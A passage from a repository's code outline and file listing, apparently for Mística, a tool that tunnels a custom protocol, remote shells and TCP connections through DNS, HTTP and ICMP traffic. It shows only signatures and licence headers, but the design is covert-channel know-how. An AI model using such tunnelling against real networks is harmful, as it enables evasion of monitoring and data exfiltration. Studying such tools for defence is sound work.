method __init__ (line 92) | def __init__(self, *params):
method __str__ (line 96) | def __str__(self):
class ReadError (line 102) | class ReadError(Error, IndexError):
method __init__ (line 105) | def __init__(self, *params):
class InterpretError (line 109) | class InterpretError(Error, ValueError):
method __init__ (line 112) | def __init__(self, *params):
class ByteAlignError (line 116) | class ByteAlignError(Error):
method __init__ (line 119) | def __init__(self, *params):
class CreationError (line 123) | class CreationError(Error, ValueError):
method __init__ (line 126) | def __init__(self, *params):
class ConstByteStore (line 130) | class ConstByteStore(object):
method __init__ (line 138) | def __init__(self, data, bitlength=None, offset=None):
method __iter__ (line 148) | def __iter__(self):
method getbit (line 163) | def getbit(self, pos):
method getbyte (line 168) | def getbyte(self, pos):
method getbyteslice (line 172) | def getbyteslice(self, start, end):
method bytelength (line 178) | def bytelength(self):
method __copy__ (line 185) | def __copy__(self):
method _appendstore (line 188) | def _appendstore(self, store):
method _prependstore (line 204) | def _prependstore(self, store):
method byteoffset (line 227) | def byteoffset(self):
method rawbytes (line 231) | def rawbytes(self):
class ByteStore (line 235) | class ByteStore(ConstByteStore):
method setbit (line 242) | def setbit(self, pos):
method unsetbit (line 247) | def unsetbit(self, pos):
method invertbit (line 252) | def invertbit(self, pos):
method setbyte (line 257) | def setbyte(self, pos, value):
method setbyteslice (line 260) | def setbyteslice(self, start, end, value):
function offsetcopy (line 264) | def offsetcopy(s, newoffset):
function equal (line 306) | def equal(a, b):
class MmapByteArray (line 410) | class MmapByteArray(object):
method __init__ (line 418) | def __init__(self, source, bytelength=None, byteoffset=None):
method __getitem__ (line 430) | def __getitem__(self, key):
method __len__ (line 452) | def __len__(self):
function tidy_input_string (line 475) | def tidy_input_string(s):
function structparser (line 521) | def structparser(token):
function tokenparser (line 549) | def tokenparser(fmt, keys=None, token_cache={}):
function expand_brackets (line 653) | def expand_brackets(s):
class Bits (line 692) | class Bits(object):
method __init__ (line 747) | def __init__(self, auto=None, length=None, offset=None, **kwargs):
method __new__ (line 786) | def __new__(cls, auto=None, length=None, offset=None, _cache={}, **kwa...
method _initialise (line 815) | def _initialise(self, auto, length, offset, **kwargs):
method _initialise_from_auto (line 849) | def _initialise_from_auto(self, auto, length, offset):
method __iter__ (line 855) | def __iter__(self):
method __copy__ (line 858) | def __copy__(self):
method __lt__ (line 864) | def __lt__(self, other):
method __gt__ (line 867) | def __gt__(self, other):
method __le__ (line 870) | def __le__(self, other):
method __ge__ (line 873) | def __ge__(self, other):
method __add__ (line 876) | def __add__(self, bs):
method __radd__ (line 892) | def __radd__(self, bs):
method __getitem__ (line 901) | def __getitem__(self, key):
method __len__ (line 945) | def __len__(self):
method __str__ (line 949) | def __str__(self):
method __repr__ (line 976) | def __repr__(self):
method __eq__ (line 997) | def __eq__(self, bs):
method __ne__ (line 1010) | def __ne__(self, bs):
method __invert__ (line 1019) | def __invert__(self):
method __lshift__ (line 1031) | def __lshift__(self, n):
method __rshift__ (line 1046) | def __rshift__(self, n):
method __mul__ (line 1062) | def __mul__(self, n):
method __rmul__ (line 1077) | def __rmul__(self, n):
method __and__ (line 1086) | def __and__(self, bs):
method __rand__ (line 1102) | def __rand__(self, bs):
method __or__ (line 1112) | def __or__(self, bs):
method __ror__ (line 1128) | def __ror__(self, bs):
method __xor__ (line 1138) | def __xor__(self, bs):
method __rxor__ (line 1154) | def __rxor__(self, bs):
method __contains__ (line 1164) | def __contains__(self, bs):
method __hash__ (line 1182) | def __hash__(self):
method __nonzero__ (line 1206) | def __nonzero__(self):
method _assertsanity (line 1213) | def _assertsanity(self):
method _init_with_token (line 1221) | def _init_with_token(cls, name, token_length, value):
method _clear (line 1259) | def _clear(self):
method _setauto (line 1263) | def _setauto(self, s, length, offset):
method _setfile (line 1320) | def _setfile(self, filename, length, offset):
method _setbytes_safe (line 1335) | def _setbytes_safe(self, data, length=None, offset=0):
method _setbytes_unsafe (line 1351) | def _setbytes_unsafe(self, data, length, offset):
method _readbytes (line 1356) | def _readbytes(self, length, start):
method _getbytes (line 1365) | def _getbytes(self):
method _setuint (line 1372) | def _setuint(self, uint, length=None):
method _readuint (line 1409) | def _readuint(self, length, start):
method _getuint (line 1427) | def _getuint(self):
method _setint (line 1431) | def _setint(self, int_, length=None):
method _readint (line 1448) | def _readint(self, length, start):
method _getint (line 1458) | def _getint(self):
method _setuintbe (line 1462) | def _setuintbe(self, uintbe, length=None):
method _readuintbe (line 1469) | def _readuintbe(self, length, start):
method _getuintbe (line 1476) | def _getuintbe(self):
method _setintbe (line 1480) | def _setintbe(self, intbe, length=None):
method _readintbe (line 1487) | def _readintbe(self, length, start):
method _getintbe (line 1494) | def _getintbe(self):
method _setuintle (line 1498) | def _setuintle(self, uintle, length=None):
method _readuintle (line 1505) | def _readuintle(self, length, start):
method _getuintle (line 1533) | def _getuintle(self):
method _setintle (line 1536) | def _setintle(self, intle, length=None):
method _readintle (line 1543) | def _readintle(self, length, start):
method _getintle (line 1553) | def _getintle(self):
method _setfloat (line 1556) | def _setfloat(self, f, length=None):
method _readfloat (line 1572) | def _readfloat(self, length, start):
method _getfloat (line 1590) | def _getfloat(self):
method _setfloatle (line 1594) | def _setfloatle(self, f, length=None):
method _readfloatle (line 1610) | def _readfloatle(self, length, start):
method _getfloatle (line 1629) | def _getfloatle(self):
method _setue (line 1633) | def _setue(self, i):
method _readue (line 1655) | def _readue(self, pos):
method _getue (line 1680) | def _getue(self):
method _setse (line 1694) | def _setse(self, i):
method _getse (line 1702) | def _getse(self):
method _readse (line 1716) | def _readse(self, pos):
method _setuie (line 1732) | def _setuie(self, i):
method _readuie (line 1743) | def _readuie(self, pos):
method _getuie (line 1763) | def _getuie(self):
method _setsie (line 1777) | def _setsie(self, i):
method _getsie (line 1785) | def _getsie(self):
method _readsie (line 1799) | def _readsie(self, pos):
method _setbool (line 1819) | def _setbool(self, value):
method _getbool (line 1829) | def _getbool(self):
method _readbool (line 1835) | def _readbool(self, pos):
method _setbin_safe (line 1838) | def _setbin_safe(self, binstring):
method _setbin_unsafe (line 1845) | def _setbin_unsafe(self, binstring):
method _readbin (line 1859) | def _readbin(self, length, start):
method _getbin (line 1872) | def _getbin(self):
method _setoct (line 1876) | def _setoct(self, octstring):
method _readoct (line 1890) | def _readoct(self, length, start):
method _getoct (line 1905) | def _getoct(self):
method _sethex (line 1909) | def _sethex(self, hexstring):
method _readhex (line 1923) | def _readhex(self, length, start):
method _gethex (line 1940) | def _gethex(self):
method _getoffset (line 1948) | def _getoffset(self):
method _getlength (line 1951) | def _getlength(self):
method _ensureinmemory (line 1955) | def _ensureinmemory(self):
method _converttobitstring (line 1961) | def _converttobitstring(cls, bs, offset=0, cache={}):
method _copy (line 1994) | def _copy(self):
method _slice (line 2001) | def _slice(self, start, end):
method _readtoken (line 2012) | def _readtoken(self, name, pos, length):
method _append (line 2028) | def _append(self, bs):
method _prepend (line 2032) | def _prepend(self, bs):
method _reverse (line 2036) | def _reverse(self):
method _truncatestart (line 2048) | def _truncatestart(self, bits):
method _truncateend (line 2061) | def _truncateend(self, bits):
method _insert (line 2074) | def _insert(self, bs, pos):
method _overwrite (line 2095) | def _overwrite(self, bs, pos):
method _delete (line 2128) | def _delete(self, bits, pos):
method _reversebytes (line 2154) | def _reversebytes(self, start, end):
method _set (line 2167) | def _set(self, pos):
method _unset (line 2172) | def _unset(self, pos):
method _invert (line 2177) | def _invert(self, pos):
method _invert_all (line 2182) | def _invert_all(self):
method _ilshift (line 2187) | def _ilshift(self, n):
method _irshift (line 2194) | def _irshift(self, n):
method _imul (line 2201) | def _imul(self, n):
method _inplace_logical_helper (line 2215) | def _inplace_logical_helper(self, bs, f):
method _ior (line 2231) | def _ior(self, bs):
method _iand (line 2234) | def _iand(self, bs):
method _ixor (line 2237) | def _ixor(self, bs):
method _readbits (line 2240) | def _readbits(self, length, start):
method _validate_slice (line 2244) | def _validate_slice(self, start, end):
method unpack (line 2262) | def unpack(self, fmt, **kwargs):
method _readlist (line 2279) | def _readlist(self, fmt, pos, **kwargs):
method _findbytes (line 2356) | def _findbytes(self, bytes_, start, end, bytealigned):
method _findregex (line 2383) | def _findregex(self, reg_ex, start, end, bytealigned):
method find (line 2415) | def find(self, bs, start=None, end=None, bytealigned=None):
method findall (line 2453) | def findall(self, bs, start=None, end=None, count=None, bytealigned=No...
method rfind (line 2505) | def rfind(self, bs, start=None, end=None, bytealigned=None):
method cut (line 2544) | def cut(self, bits, start=None, end=None, count=None):
method split (line 2571) | def split(self, delimiter, start=None, end=None, count=None,
method join (line 2628) | def join(self, sequence):
method tobytes (line 2646) | def tobytes(self):
method tofile (line 2659) | def tofile(self, f):
method startswith (line 2693) | def startswith(self, prefix, start=None, end=None):
method endswith (line 2708) | def endswith(self, suffix, start=None, end=None):
method all (line 2723) | def all(self, value, pos=None):
method any (line 2745) | def any(self, value, pos=None):
method count (line 2767) | def count(self, value):
class BitArray (line 2940) | class BitArray(Bits):
method __init__ (line 3016) | def __init__(self, auto=None, length=None, offset=None, **kwargs):
method __new__ (line 3057) | def __new__(cls, auto=None, length=None, offset=None, **kwargs):
method __iadd__ (line 3065) | def __iadd__(self, bs):
method __copy__ (line 3074) | def __copy__(self):
method __setitem__ (line 3085) | def __setitem__(self, key, value):
method __delitem__ (line 3193) | def __delitem__(self, key):
method __ilshift__ (line 3242) | def __ilshift__(self, n):
method __irshift__ (line 3257) | def __irshift__(self, n):
method __imul__ (line 3272) | def __imul__(self, n):
method __ior__ (line 3283) | def __ior__(self, bs):
method __iand__ (line 3290) | def __iand__(self, bs):
method __ixor__ (line 3297) | def __ixor__(self, bs):
method replace (line 3304) | def replace(self, old, new, start=None, end=None, count=None,
method insert (line 3371) | def insert(self, bs, pos=None):
method overwrite (line 3396) | def overwrite(self, bs, pos=None):
method append (line 3423) | def append(self, bs):
method prepend (line 3433) | def prepend(self, bs):
method reverse (line 3442) | def reverse(self, start=None, end=None):
method set (line 3462) | def set(self, value, pos=None):
method invert (line 3492) | def invert(self, pos=None):
method ror (line 3515) | def ror(self, bits, start=None, end=None):
method rol (line 3537) | def rol(self, bits, start=None, end=None):
method byteswap (line 3559) | def byteswap(self, fmt=None, start=None, end=None, repeat=True):
method clear (line 3619) | def clear(self):
method copy (line 3623) | def copy(self):
class ConstBitStream (line 3693) | class ConstBitStream(Bits):
method __init__ (line 3758) | def __init__(self, auto=None, length=None, offset=None, **kwargs):
method __new__ (line 3797) | def __new__(cls, auto=None, length=None, offset=None, **kwargs):
method _setbytepos (line 3802) | def _setbytepos(self, bytepos):
method _getbytepos (line 3806) | def _getbytepos(self):
method _setbitpos (line 3812) | def _setbitpos(self, pos):
method _getbitpos (line 3820) | def _getbitpos(self):
method _clear (line 3824) | def _clear(self):
method __copy__ (line 3828) | def __copy__(self):
method __add__ (line 3838) | def __add__(self, bs):
method read (line 3848) | def read(self, fmt):
method readlist (line 3905) | def readlist(self, fmt, **kwargs):
method readto (line 3929) | def readto(self, bs, bytealigned=None):
method peek (line 3950) | def peek(self, fmt):
method peeklist (line 3969) | def peeklist(self, fmt, **kwargs):
method bytealign (line 3991) | def bytealign(self):
class BitStream (line 4017) | class BitStream(ConstBitStream, BitArray):
method __init__ (line 4095) | def __init__(self, auto=None, length=None, offset=None, **kwargs):
method __new__ (line 4137) | def __new__(cls, auto=None, length=None, offset=None, **kwargs):
method __copy__ (line 4145) | def __copy__(self):
method prepend (line 4159) | def prepend(self, bs):
function pack (line 4170) | def pack(fmt, *values, **kwargs):
FILE: utils/buffer.py
class Index (line 20) | class Index(object):
method __init__ (line 21) | def __init__(self):
method add (line 24) | def add(self, chunk):
class OverlayBuffer (line 28) | class OverlayBuffer(object):
method __init__ (line 29) | def __init__(self):
method addIndex (line 32) | def addIndex(self, index):
method getChunk (line 35) | def getChunk(self):
method anyIndex (line 46) | def anyIndex(self):
class WrapperBuffer (line 50) | class WrapperBuffer(object):
method __init__ (line 51) | def __init__(self):
method addChunk (line 54) | def addChunk(self, chunk):
method getChunks (line 57) | def getChunks(self):
FILE: utils/icmp.py
class Sizes (line 25) | class Sizes(object):
class Offsets (line 41) | class Offsets(object):
class Packet (line 58) | class Packet(object):
method __init__ (line 99) | def __init__(self, rawdata=None):
method __repr__ (line 110) | def __repr__(self):
method __str__ (line 113) | def __str__(self):
method unpack (line 122) | def unpack(self, data):
method calc_checksum (line 138) | def calc_checksum(self, source_string):
method pack_request (line 179) | def pack_request(self, data=None):
method pack_response (line 197) | def pack_response(self, request, data=None):
method toBytes (line 215) | def toBytes(self):
FILE: utils/logger.py
class Log (line 27) | class Log():
method __init__ (line 34) | def __init__(self,prefix="",level=NONE):
method clearFiles (line 43) | def clearFiles(self,prefix):
method setup_logger (line 51) | def setup_logger(self, name, log_file, level):
method debug_all (line 61) | def debug_all(self, message):
method debug (line 65) | def debug(self, message):
method error (line 69) | def error(self, message):
method info (line 73) | def info(self, message):
method exception (line 77) | def exception(self, message):
FILE: utils/messaging.py
class MessageType (line 25) | class MessageType(Enum):
class SignalType (line 30) | class SignalType(Enum):
class Message (line 41) | class Message():
method __init__ (line 53) | def __init__(self, sender, sender_id, receiver, receiver_id, msgtype, ...
method __eq__ (line 62) | def __eq__(self, other):
method isCommsFinishedMessage (line 65) | def isCommsFinishedMessage(self):
method isCommsBrokenMessage (line 70) | def isCommsBrokenMessage(self):
method isTerminateMessage (line 75) | def isTerminateMessage(self):
method isCommunicationEndedMessage (line 80) | def isCommunicationEndedMessage(self):
method isCommunicationBrokenMessage (line 85) | def isCommunicationBrokenMessage(self):
method isStartMessage (line 90) | def isStartMessage(self):
method isStopMessage (line 95) | def isStopMessage(self):
method isRestartMessage (line 100) | def isRestartMessage(self):
method isBufferReady (line 105) | def isBufferReady(self):
method isStreamMessage (line 110) | def isStreamMessage(self):
method isSignalMessage (line 113) | def isSignalMessage(self):
method printHeader (line 117) | def printHeader(self):
FILE: utils/prompt.py
class Prompt (line 29) | class Prompt(object):
method __init__ (line 30) | def __init__(self):
method GetFromStdin (line 33) | def GetFromStdin(self):
method listModules (line 38) | def listModules(type, lst):
method listOverlays (line 49) | def listOverlays(type):
method listWrapModules (line 64) | def listWrapModules(type):
method listParameters (line 78) | def listParameters(type, lst):
method findModule (line 100) | def findModule(type, lst):
method generateArgParser (line 117) | def generateArgParser(module):
FILE: utils/rc4.py
class RC4 (line 25) | class RC4:
method __init__ (line 34) | def __init__(self, key, streaming=True):
method crypt (line 52) | def crypt(self, data):
method _keystream_generator (line 60) | def _keystream_generator(self):
FILE: wrapper/client/dns.py
class QTYPE (line 28) | class QTYPE(object):
class SimpleDnsClient (line 38) | class SimpleDnsClient(object):
method __init__ (line 87) | def __init__(self, servers, port, domain, query_timeout, name, logger):
method create_header (line 97) | def create_header(self, opcode):
method create_qname (line 136) | def create_qname(self, domain_name):
method get_dns_query (line 160) | def get_dns_query(self, domain_name, query_type):
method query_dns_server (line 217) | def query_dns_server(self, packet):
method extract_header (line 254) | def extract_header(self, msg):
method convert_to_name (line 287) | def convert_to_name(self, raw_name):
method extract_question (line 312) | def extract_question(self, msg, qname_len):
method extract_name (line 339) | def extract_name(self, msg, offset):
method extract_a_rdata (line 383) | def extract_a_rdata(self, msg, offset, rdlength):
method extract_ns_rdata (line 406) | def extract_ns_rdata(self, msg, offset, rdlength):
method extract_cname_rdata (line 426) | def extract_cname_rdata(self, msg, offset, rdlength):
method extract_soa_rdata (line 446) | def extract_soa_rdata(self, msg, offset, rdlength):
method extract_mx_rdata (line 477) | def extract_mx_rdata(self, msg, offset, rdlength):
method extract_aaaa_rdata (line 501) | def extract_aaaa_rdata(self, msg, offset, rdlength):
method extract_txt_rdata (line 524) | def extract_txt_rdata(self, msg, offset, msglength):
method extract_answer (line 540) | def extract_answer(self, msg, offset):
method parse_answer (line 611) | def parse_answer(self, msg, qname_len):
method tuple_str (line 639) | def tuple_str(self, t):
method parse_rdata_entries (line 654) | def parse_rdata_entries(self, reply):
class dns (line 681) | class dns(ClientWrapper):
method __init__ (line 757) | def __init__(self, qsotp, args, logger):
method checkMaxProtoSize (line 782) | def checkMaxProtoSize(self,max_size,domain,multiple):
method parseArguments (line 801) | def parseArguments(self, args):
method splitInMultipleSubdomains (line 815) | def splitInMultipleSubdomains(self, sotpdata):
method wrap (line 823) | def wrap(self,content):
method unwrap (line 842) | def unwrap(self,content):
FILE: wrapper/client/http.py
class http (line 26) | class http(ClientWrapper):
method __init__ (line 124) | def __init__(self, qsotp, args, logger):
method parseArguments (line 134) | def parseArguments(self, args):
method doReqInURI (line 151) | def doReqInURI(self, conn, content, method):
method doReqInHeaders (line 157) | def doReqInHeaders(self, conn, content, method):
method doGet (line 167) | def doGet(self, conn, content):
method doPostField (line 173) | def doPostField(self, conn, content):
method doPost (line 183) | def doPost(self, conn, content):
method dispatchByMethod (line 191) | def dispatchByMethod(self, conn, content):
method packSotp (line 199) | def packSotp(self, content):
method wrap (line 206) | def wrap(self,content):
method unpackSotp (line 229) | def unpackSotp(self, data):
method unwrap (line 234) | def unwrap(self,content):
FILE: wrapper/client/icmp.py
class ICMPClient (line 27) | class ICMPClient(object):
method __init__ (line 29) | def __init__(self, hostname, request_timeout, name, logger):
method send_data (line 41) | def send_data(self, data):
method get_data (line 48) | def get_data(self):
class icmp (line 58) | class icmp(ClientWrapper):
method __init__ (line 111) | def __init__(self, qsotp, args, logger):
method checkMaxProtoSize (line 135) | def checkMaxProtoSize(self,max_size):
method parseArguments (line 143) | def parseArguments(self, args):
method wrap (line 153) | def wrap(self,content):
method unwrap (line 166) | def unwrap(self,content):
FILE: wrapper/server/wrap_module/dns.py
class dnswrapper (line 27) | class dnswrapper(ServerWrapper):
method __init__ (line 72) | def __init__(self, id, qsotp, args, logger):
method parseArguments (line 79) | def parseArguments(self, args):
method extractFromSubdomain (line 88) | def extractFromSubdomain(self, qname):
method parseQuestion (line 99) | def parseQuestion(self,request):
method inHostnameList (line 120) | def inHostnameList(self, request):
method inQueryList (line 128) | def inQueryList(self,request):
method unwrap (line 135) | def unwrap(self, content):
method getDomainFromRequest (line 143) | def getDomainFromRequest(self, reqhostname):
method createNsResponse (line 149) | def createNsResponse(self, data, request):
method createCnameResponse (line 162) | def createCnameResponse(self, data, request):
method createSoaResponse (line 175) | def createSoaResponse(self, data, request):
method createMxResponse (line 188) | def createMxResponse(self, data, request):
method createTxtResponse (line 201) | def createTxtResponse(self, data, request):
method generateResponse (line 214) | def generateResponse(self, data, request):
method wrap (line 230) | def wrap(self, content):
FILE: wrapper/server/wrap_module/http.py
class httpwrapper (line 24) | class httpwrapper(ServerWrapper):
method __init__ (line 85) | def __init__(self, id, qsotp, args, logger):
method parseArguments (line 91) | def parseArguments(self, args):
method unpackSotp (line 101) | def unpackSotp(self, data):
method parseFromHeaders (line 105) | def parseFromHeaders(self, content):
method parseFromURI (line 114) | def parseFromURI(self, requestline):
method parseFromPostFields (line 122) | def parseFromPostFields(self, fields):
method parseGET (line 131) | def parseGET(self, content):
method parsePOST (line 137) | def parsePOST(self, content):
method unwrap (line 145) | def unwrap(self, content):
method generateResponse (line 152) | def generateResponse(self,content):
method wrap (line 160) | def wrap(self, content):
FILE: wrapper/server/wrap_module/icmp.py
class icmpwrapper (line 24) | class icmpwrapper(ServerWrapper):
method __init__ (line 50) | def __init__(self, id, qsotp, args, logger):
method parseArguments (line 62) | def parseArguments(self, args):
method unpackSotp (line 67) | def unpackSotp(self, data):
method unwrap (line 75) | def unwrap(self, content):
method wrap (line 79) | def wrap(self, content):
FILE: wrapper/server/wrap_server/dnsserver.py
class CustomBaseRequestHandler (line 30) | class CustomBaseRequestHandler(BaseRequestHandler):
method genDefaultError (line 32) | def genDefaultError(self, request):
method waitForResponse (line 41) | def waitForResponse(self,q, request):
method doMulticast (line 52) | def doMulticast(self,q,data):
method returnResponse (line 58) | def returnResponse(self,reply):
method processRequest (line 61) | def processRequest(self,request):
method get_data (line 67) | def get_data(self):
method send_data (line 70) | def send_data(self, data):
method handle (line 73) | def handle(self):
class UDPRequestHandler (line 82) | class UDPRequestHandler(CustomBaseRequestHandler):
method get_data (line 84) | def get_data(self):
method send_data (line 87) | def send_data(self, data):
class WrapDNSServer (line 91) | class WrapDNSServer(ThreadingUDPServer):
method __init__ (line 92) | def __init__(self, server_address, RequestHandlerClass, wrappers, snam...
class dnsserver (line 104) | class dnsserver(Thread):
method __init__ (line 140) | def __init__(self, id, args, logger):
method parseArguments (line 154) | def parseArguments(self, args):
method generateArgParser (line 161) | def generateArgParser(self):
method SignalThread (line 173) | def SignalThread(self):
method addWrapModule (line 180) | def addWrapModule(self, encWrapper):
method removeWrapModule (line 183) | def removeWrapModule(self, encWrapper):
method run (line 186) | def run(self):
FILE: wrapper/server/wrap_server/httpserver.py
class WrapHTTPServer (line 30) | class WrapHTTPServer(ThreadingHTTPServer):
method __init__ (line 31) | def __init__(self, server_address, RequestHandlerClass, wrappers, snam...
class httpserverHandler (line 44) | class httpserverHandler(BaseHTTPRequestHandler):
method log_message (line 47) | def log_message(self, format, *args):
method getDefaultErrorView (line 50) | def getDefaultErrorView(self):
method readErrorFile (line 54) | def readErrorFile(self):
method generateErrorView (line 62) | def generateErrorView(self):
method doMulticast (line 69) | def doMulticast(self, q, data):
method waitForResponse (line 75) | def waitForResponse(self, q):
method packRequest (line 85) | def packRequest(self, requestline, headers, content=None, httpcode=200):
method returnResponse (line 93) | def returnResponse(self, res):
method processRequest (line 123) | def processRequest(self, request):
method do_GET (line 133) | def do_GET(self):
method do_POST (line 137) | def do_POST(self):
class httpserver (line 148) | class httpserver(Thread, BaseHTTPRequestHandler):
method __init__ (line 197) | def __init__(self, id, args, logger):
method generateArgParser (line 211) | def generateArgParser(self):
method parseArguments (line 223) | def parseArguments(self, args):
method SignalThread (line 233) | def SignalThread(self):
method addWrapModule (line 240) | def addWrapModule(self, encWrapper):
method removeWrapModule (line 243) | def removeWrapModule(self, encWrapper):
method run (line 246) | def run(self):
FILE: wrapper/server/wrap_server/icmpserver.py
class icmpserver (line 30) | class icmpserver(Thread):
method __init__ (line 60) | def __init__(self, id, args, logger):
method parseArguments (line 82) | def parseArguments(self, args):
method generateArgParser (line 88) | def generateArgParser(self):
method SignalThread (line 100) | def SignalThread(self):
method addWrapModule (line 107) | def addWrapModule(self, encWrapper):
method removeWrapModule (line 110) | def removeWrapModule(self, encWrapper):
method doMulticast (line 113) | def doMulticast(self,q,data):
method waitForResponse (line 119) | def waitForResponse(self, q, request):
method returnResponse (line 130) | def returnResponse(self, request, data, addr):
method processRequest (line 137) | def processRequest(self, raw_data, addr):
method run (line 156) | def run(self):
Condensed preview — 43 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (488K chars).
[
{
"path": ".gitignore",
"chars": 98,
"preview": "*.pyc\n__pycache__\n*.log\nwiki\n.vscode\nbuild\ndist\n*.bin\n*.zip\ndocs\ntests\nmc.spec\nms.spec\nmc\nms\n*.pem"
},
{
"path": "Dockerfile",
"chars": 606,
"preview": "# [*] First build image with:\n#\n# sudo docker build --tag mistica:latest .\n#\n# [*] Second, create the network with:\n#\n# "
},
{
"path": "LICENSE",
"chars": 35057,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "README.md",
"chars": 24528,
"preview": "# Mística\n\n|  |\n|:----------: |\n| Mística Logo by [JoelGMSec](https://twitter.com/joelgmsec)"
},
{
"path": "logs/.gitkeep",
"chars": 0,
"preview": ""
},
{
"path": "mc.py",
"chars": 11516,
"preview": "#!/usr/bin/python3.7\n#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mís"
},
{
"path": "ms.py",
"chars": 10047,
"preview": "#!/usr/bin/python3.7\n#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mís"
},
{
"path": "overlay/client/__init__.py",
"chars": 53,
"preview": "__all__ = [\"io\", \"shell\", \"tcpconnect\", \"tcplisten\"]\n"
},
{
"path": "overlay/client/io.py",
"chars": 2062,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "overlay/client/shell.py",
"chars": 2324,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "overlay/client/tcpconnect.py",
"chars": 6529,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://g"
},
{
"path": "overlay/client/tcplisten.py",
"chars": 6396,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://g"
},
{
"path": "overlay/server/__init__.py",
"chars": 52,
"preview": "__all__ = [\"io\", \"shell\", \"tcpconnect\", \"tcplisten\"]"
},
{
"path": "overlay/server/io.py",
"chars": 3029,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "overlay/server/shell.py",
"chars": 2466,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "overlay/server/tcpconnect.py",
"chars": 7463,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://g"
},
{
"path": "overlay/server/tcplisten.py",
"chars": 7518,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://g"
},
{
"path": "sotp/clientworker.py",
"chars": 22636,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "sotp/core.py",
"chars": 5920,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "sotp/misticathread.py",
"chars": 13233,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "sotp/packet.py",
"chars": 1980,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "sotp/route.py",
"chars": 1052,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "sotp/router.py",
"chars": 9997,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "sotp/serverworker.py",
"chars": 13712,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "utils/bitstring.py",
"chars": 168010,
"preview": "#!/usr/bin/env python\n\"\"\"\nThis package defines classes that simplify bit-wise creation, manipulation and\ninterpretation "
},
{
"path": "utils/buffer.py",
"chars": 1882,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "utils/icmp.py",
"chars": 7296,
"preview": "#\n# Copyright (c) 2020 Raul Caro.\n#\n# This file is part of ICMPack \n# (see https://github.com/rcaroncd/ICMPack).\n#\n# Thi"
},
{
"path": "utils/logger.py",
"chars": 2566,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "utils/messaging.py",
"chars": 4350,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "utils/prompt.py",
"chars": 4249,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "utils/rc4.py",
"chars": 2489,
"preview": "#\n# MIT License\n# \n# Copyright (c) 2018 David Buchanan\n# \n# Permission is hereby granted, free of charge, to any person "
},
{
"path": "wrapper/client/__init__.py",
"chars": 33,
"preview": "__all__ = [\"http\", \"dns\", \"icmp\"]"
},
{
"path": "wrapper/client/dns.py",
"chars": 30063,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "wrapper/client/http.py",
"chars": 9538,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "wrapper/client/icmp.py",
"chars": 7259,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "wrapper/server/wrap_module/__init__.py",
"chars": 33,
"preview": "__all__ = [\"http\", \"dns\", \"icmp\"]"
},
{
"path": "wrapper/server/wrap_module/dns.py",
"chars": 10828,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "wrapper/server/wrap_module/http.py",
"chars": 6020,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "wrapper/server/wrap_module/icmp.py",
